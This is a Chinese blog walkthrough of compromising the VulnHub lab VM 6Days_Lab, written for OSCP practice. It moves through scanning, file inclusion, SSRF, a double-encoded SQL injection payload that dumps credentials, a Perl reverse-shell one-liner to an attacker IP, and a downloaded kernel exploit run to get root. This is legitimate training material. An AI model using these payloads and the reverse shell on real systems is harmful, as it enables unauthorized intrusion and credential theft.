OSCP - 6Days_Lab-v1.0.1 的破解

本文主要记录对 6Days_Lab-v1.0.1 的渗透学习过程,测试的 VM 主机主要来源 www.vulnhub.com
博客集:面向 CTF 的 OSCP 破解系列
下载链接:6Days_Lab-v1.0.1

  1. 初始安装,不知道IP,首先获取IP

     Currently scanning: 172.16.154.0/16   |   Screen View: Unique Hosts                                            
                                                                                                                                                                                                                
     15 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 900                                                                                                                            
     _____________________________________________________________________________
       IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
     -----------------------------------------------------------------------------
     10.10.10.152    00:0c:29:ed:93:0b      5     300  VMware, Inc.                                                                                                                              
     10.10.10.1      00:50:56:c0:00:08      5     300  VMware, Inc.                                                                                                                              
     10.10.10.2      00:50:56:fb:16:b2      5     300  VMware, Inc. 
    
  2. 获取IP是 10.10.10.152,使用 nmap 进行扫描

    Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-22 11:34 EST
    Nmap scan report for 10.10.10.152
    Host is up (0.00032s latency).
    Not shown: 997 closed ports
    PORT     STATE    SERVICE    VERSION
    22/tcp   open     ssh        OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    80/tcp   open     http       Apache httpd 2.2.22 ((Ubuntu))
    |_http-server-header: Apache/2.2.22 (Ubuntu)
    |_http-title: Rashomon IPS - Main Page
    8080/tcp filtered http-proxy
    MAC Address: 00:0C:29:ED:93:0B (VMware)
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.2 - 4.9
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    

    可以看到开放了22、80、8080端口

  3. 首先注意到 80 端口,使用浏览器访问,看到的提示信息并没有什么值得注意的。此时使用 burpsuite 抓包看一下是否能发现线索。
    发现在 forward 主页面之后,又请求了一个新页面

    GET /image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAAAAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg HTTP/1.1
    Host: 10.10.10.152
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://10.10.10.152/
    Connection: close
    Cache-Control: max-age=0
    
  4. 使用浏览器请求 “http:// 10.10.10.152/image.php ”会报错
    在这里插入图片描述注意到使用浏览器请求 “http:// 10.10.10.152 ” 主页时有一个填写促销代码的地方,抓包发现是请求的 “/checkpromo.php ”页面,由于没有促销代码,所以先放一放等会再来看。提示信息中有一个促销代码“NONEEDFORPENTEST”,但是是过时的。

  5. 既然主页不能发现有价值的东西,那么就用 dirb 暴力破解目录

    ---- Scanning URL: http://10.10.10.152/ ----
    + http://10.10.10.152/cgi-bin/ (CODE:403|SIZE:290)                                                                                                                                           
    + http://10.10.10.152/config (CODE:200|SIZE:0)                                                                                                                                               
    + http://10.10.10.152/create (CODE:200|SIZE:40)                                                                                                                                              
    + http://10.10.10.152/delete (CODE:200|SIZE:40)                                                                                                                                              
    + http://10.10.10.152/drop (CODE:200|SIZE:40)                                                                                                                                                
    + http://10.10.10.152/exec (CODE:200|SIZE:40)                                                                                                                                                
    + http://10.10.10.152/image (CODE:200|SIZE:0)                                                                                                                                                
    ==> DIRECTORY: http://10.10.10.152/img/                                                                                                                                                      
    + http://10.10.10.152/index (CODE:200|SIZE:1272)                                                                                                                                             
    + http://10.10.10.152/index.php (CODE:200|SIZE:1272)                                                                                                                                         
    + http://10.10.10.152/insert (CODE:200|SIZE:40)                                                                                                                                              
    + http://10.10.10.152/list-create (CODE:200|SIZE:40)                                                                                                                                         
    + http://10.10.10.152/select (CODE:200|SIZE:40)                                                                                                                                              
    --> Testing: http://10.10.10.152/servers 
    

    跑起来之后发现到 “/servers” 的位置程序暂停了,猜测是目标主机有防御措施

  6. 根据爆破出来的目录进行尝试访问
    发现存在 “http:// 10.10.10.152/server-status” 、“http:// 10.10.10.152/img/”和 “http:// 10.10.10.152/image”是可以访问的
    通过访问“http:// 10.10.10.152/server-status” 可以找到以下页面

    30-0	6103	0/466/1331	_ 	0.06	125	21011	0.0	0.13	0.36 	127.0.0.1	127.0.1.1	GET /image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQ
    31-0	6104	0/468/1334	_ 	0.06	117	0	0.0	0.13	0.43 	127.0.0.1	127.0.1.1	GET /server-status HTTP/1.1
    

    访问网址“http:// 10.10.10.152/image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQ” 发现提示报错信息:
    在这里插入图片描述 使用 burpsuite 抓包,无响应结果

  7. 根据 URL 的结结构可以尝试是否存在文件包含漏洞(远程文件包括或者本地文件包含)
    尝试包含主页文件“index.php”,构造URL“http:// 10.10.10.152/image.php?src=index.php”
    提示错误信息:
    在这里插入图片描述使用 burpsuite 抓包,发现可以响应主页信息:
    在这里插入图片描述尝试包含自己,发现可以看到“image.php”源码:
    在这里插入图片描述
    探测查看 “checkpromo.php” 源码:
    在这里插入图片描述探测查看 “config.php” 文件源码:
    在这里插入图片描述

  8. 接下来尝试检测检查默认的 apache 站点
    在这里插入图片描述发现存在8080端口。网站实际上在端口8080上运行,它只接受本地连接,然后由端口80转发。

    使用 SSRF漏洞访问测试验证是否是代理转发
    在这里插入图片描述 提示代码过期,验证成功。

  9. sql注入获取用户名和密码

    经过一番测试,发现需要使用双层 url编码
    使用 python 脚本进行双层 URL 编码

    # python 二次URL编码语句
    # python3
    from urllib.parse import quote
    #quote(quote("待编码语句"))
    quote(quote("aaaa'union all select concat(username,'~~~',password),2 from fancydb.users#"))
    #aaaa为填写的优惠码
    

    将编码之后得到的“aaaa%2527union%2520all%2520select%2520concat%2528username%252C%2527~~~%2527%252Cpassword%2529%252C2%2520from%2520fancydb.users%2523”
    放入burpsuite:
    在这里插入图片描述
    成功获取用户名和密码:andrea~SayNoToPentests

    验证用户名:
    在这里插入图片描述

  10. ssh尝试登录 andrea~SayNoToPentests

    # SSH远程连接
    [c:\~]$ ssh andrea@10.10.10.152
    andrea@cypm:~$ id
    andrea@cypm:~$ uname -a
    andrea@cypm:~$ ls -alh
    

    发现无法执行任何命令,有可能是回显数据丢失,尝试反向shell连接

    # kali 监听端口
    root@kali:~# nc -nvlp 4444
    listening on [any] 4444 ...
    
    
    # 6Days_Lab的原始shell中
    andrea@cypm:~$ perl -e 'use Socket;$i="10.10.10.151";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    
    # 此时kali中接收到反弹的shell
    $ uname -a
    Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
    $ ls
    dog
    
  11. 将原始的shell环境转换成 bash shell 环境

    $ python -c 'import pty; pty.spawn("/bin/bash")' 
    andrea@cypm:~$ id
    id
    uid=1001(andrea) gid=1001(andrea) groups=1001(andrea)
    andrea@cypm:~$ uname -a
    uname -a
    Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
    
    
  12. 提权

    已知linux 内核版本是 Linux cypm 3.13.0-32-generic,可以考虑内核提权

    # 下载并编译源文件
    andrea@cypm:~$ wget http://10.10.10.151/37292.c 
    andrea@cypm:~$ ls
    ls
    37292.c  dog
    andrea@cypm:~$ gcc -o 37292 37292.c
    gcc -o 37292 37292.c
    andrea@cypm:~$ chmod +x 37292
    chmod +x 37292
    andrea@cypm:~$ ./37292	
    ./37292
    spawning threads
    mount #1
    mount #2
    child threads done
    /etc/ld.so.preload created
    creating shared library
    # id
    id
    uid=0(root) gid=0(root) groups=0(root),1001(andrea)
    # python -c 'import pty; pty.spawn("/bin/bash")' 
    python -c 'import pty; pty.spawn("/bin/bash")' 
    root@cypm:/home/andrea# id
    id
    uid=0(root) gid=0(root) groups=0(root),1001(andrea)
    root@cypm:/home/andrea#
    
  13. 获取 flag

    root@cypm:/root# ls /
    ls /
    bin   etc   initrd.img  media  proc  sbin     sys  var
    boot  flag  lib         mnt    root  selinux  tmp  vmlinuz
    dev   home  lost+found  opt    run   srv      usr
    root@cypm:/root# 
    
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值